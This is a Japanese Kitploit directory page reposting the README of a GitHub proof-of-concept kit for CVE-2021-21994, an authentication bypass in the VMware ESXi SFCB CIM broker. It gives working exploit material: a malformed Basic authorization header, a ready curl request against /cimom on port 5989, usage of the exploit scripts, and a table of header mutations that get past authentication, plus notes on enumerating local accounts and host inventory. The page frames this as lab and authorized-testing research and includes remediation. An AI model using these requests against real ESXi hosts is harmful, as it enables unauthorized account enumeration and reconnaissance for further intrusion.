Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/mreza-en/cve-2021-21994_poc
脆弱性分析エクスプロイト情報収集ファジングペネトレーションテスト認証
GitHubmreza-en/cve-2021-21994_poc

cve-2021-21994_POC

プローブ/ファズハーネスを介してVMware ESXi SFCB認証バイパス (CVE-2021-21994) を検証・悪用し、未認証のCIM-XML列挙を可能にします。

リポジトリを見る
5日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-21994 — VMware ESXi SFCB 認証バイパス — ラボ研究キット

フィールド値
種別CWE-287 不適切な認証(認証バイパス)
コンポーネントVMware ESXi 内の SFCB (Small Footprint CIM Broker)
攻撃ベクトルネットワーク、TCP 5989 (CIM-XML over HTTPS)、"特別に細工されたリクエスト"
影響を受けるVMSA-2021-0014 (2021年7月) 以前の ESXi 6.5 / 6.7 / 7.0
修正VMSA-2021-0014 パッチビルド
公開PoCなし。 VMware はリクエストの形状を開示していない

参照: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB

PoCが存在しないため、このキットは自己探索型ハーネスです: sfcb_probe.py はオラクル(check)を検証し、ターゲットを絞ったミューテーションディクショナリを /cimom(fuzz)に投げ、有効な資格情報なしで得られた200+CIMボディを フラグします。

自分のラボVM、または明示的に認可された エンゲージメントスコープ内のターゲットに対してのみ使用すること。

1. ラボのセットアップ(ターゲット: ESXi 6.5 に合わせる)

  1. ESXi 6.5 ISOを入手する(2021年7月より前のビルドならどれでも動作します。理想的にはターゲットと同じ 6.5.0ビルドクラス):
    • Broadcomサポートポータル(無料アカウント)→ VMware vSphere Hypervisor 6.5ダウンロード
    • HPE / Dellの「カスタムESXi 6.5イメージ」ダウンロードは、各社サポートサイトで公開されている
  2. VMware Workstation/Fusion(またはKVM)上のネストVM:
    • VMで**「Virtualize Intel VT-x/EPT」**を有効にする
    • 2 vCPU、6 GB RAM、シンディスク。インストーラにはE1000 NICを使用
    • 評価モードでインストール — ラボではライセンスキー不要
  3. CIMブローカーとそのファイアウォールルールセットを有効にする(DCUI → トラブルシューティング → ESXi Shell/SSHを有効化し、その後にSSH経由で実行):
    root@kitploit:~
    /etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
    esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
    esxcli network firewall ruleset list | grep -i cim
    esxcli network ip connection list | grep 5989   # must LISTEN
    
  4. VMのスナップショットを取る(再テストのためのクリーンな状態)。

2. ハーネスを実行する

root@kitploit:~
# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'

# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/

2b. 発見(ラボ+ターゲットESXi 6.5、2026-08-15確認)

バイパスが発見された。根本原因: Basic認証トークンが 「:」を含む user:password ペアにデコードされない場合、sfcbd はフェイルオープンする。

最小限のPoCヘッダー(root のbase64、コロンなし):

root@kitploit:~
Authorization: Basic cm9vdA==

ファズ実行によるエビデンスマトリクス:

200レスポンスは、CIMOM 内部でディスパッチされたCIM-XMLエンベロープを返します (例: ERROR CODE="5" Class not found)。これにより、HTTP認証レイヤーが 通過されたことが証明されます — 不正なヘッダーなしの同一リクエストは401を返します。

エクスプロイトの使用法:

root@kitploit:~
python3 sfcb_exploit.py verify    192.168.x.x          # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes   192.168.x.x          # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem

レポートのスクリーンショット用curlワンライナー:

root@kitploit:~
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
  -H 'Content-Type: application/xml; charset=utf-8' \
  -H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
  -H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
  -d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'

影響: CIMブローカーへの未認証の読み取りアクセス:

  • アカウント列挙: VMware_Identity インスタンスは、ESXi のローカル アカウントをすべて漏えいします(ラボ6.5で確認: root、dcui、vpxuser — vCenter管理 ホスト — に加え、カスタムユーザー)。これにより、標的型パスワード攻撃が可能になります。
  • 436個の公開クラスによるホスト/ハードウェアの完全なインベントリ(コンピュータシステム、 プロセッサ、メモリ、ストレージ/データストア、ネットワークエンドポイント、ファームウェア/BIOS バージョン、センサー、インストール済みソフトウェアの識別)。
  • 書き込みパスなし: RBACサービス(VMware_RoleBasedAuthorizationService、 CIM_PrivilegeManagementService)はDMTFプロファイルメソッド (AssignRoles、AssignAccess、...)を宣言していますが、インスタンスを公開していません — メソッドはスキーマのみです。CIM経由のアカウント作成/変更は このCVEでは不可能です。影響の上限は未認証の情報 開示です。

判定:

  • BYPASS-STRONG — 有効な資格情報なしでHTTP 200 + CIM-XMLボディ → バイパスを発見 したことになります。ダンプされたリクエストがエクスプロイトのプリミティブです。
  • bypass-weak(200-no-cim-body) — 200だがCIMボディなし。ダンプを調査してください。
  • blocked / info(400) — 拒否。注: 400は通常、リクエストが 認証評価の前に失敗したことを意味します — まだ興味深いですが、バイパスではありません。

手作りCIMボディに関する注意: DSP0200 によれば、EnumerateInstanceNames は ClassName IPARAMVALUE を必須とします。これがないボディは、認証とは無関係の理由で拒否され、 オラクルを汚染する可能性があります — ハーネスは常に 仕様に正しいボディを送信します。

3. 辞書で何も見つからない場合のロードマップ

ファザーは、古典的なHTTP認証パーサーの混乱形状をカバーしています。どれもヒットしない場合、 残る(そして決定的な)方法はバイナリ差分です:

  1. 脆弱なビルド(例: 6.5.0 GAクラス)用の esx-base VIB と、 VMSA-2021-0014パッチ適用済みの6.5/6.7/7.0ビルドをVMwareの公開デポインデックスから取得します: https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml
  2. 両方のVIBを抽出し(これらは ar アーカイブ → vib ペイロード → cpio)、 Ghidra + BinDiff を使用して sfcbd* バイナリを差分します。
  3. HTTPヘッダー解析 / Basic認証デコード / 認証プロバイダーディスパッチに注目します。 アップストリームのオープンソースSFCB(SourceForgeのSBLIM sfcb)は、 HTTP+認証コードパスの構造上の参考として有用です。ESXiのフォークが 変更されていても同様です。
  4. 修正されたコードパスを正確に細工されたリクエストに変換し、ハーネスに追加して、 ラボVMで検証します — それが本当のエクスプロイトです。

4. レポートの運用上の注意

  • オラクルだけでも(未認証 → 401)は、堅牢化のための有用な発見です: 5989 は決してインターネットから到達可能であってはなりません。
  • 確認された場合、是正措置:VMSA-2021-0014+パッチを適用(ESXi 6.5はEOL — 移行を推奨)または5989をファイアウォールで遮断します。
ツールをダウンロード
リクエスト形状ステータス意味
ヘッダーなし / 有効な user:pass のb64 / : / root:401コロンあり → 認証実行 → 拒否
b64("root") (コロンなし)200 + CIM bodyコロンなし → 認証スキップ
b64("\0:\0") (空のC文字列)200同様: コロンなし
無効なbase64(スペース / BOM / Basic プレフィックス)200デコード失敗 → 認証スキップ
Basic\tTOKEN (タブ区切り)401任意のWSP分割でも正しく解析される → 認証実行
Basic␣␣TOKEN (ダブルスペース)200単一スペース分割 → トークンがスペースで始まる → デコード失敗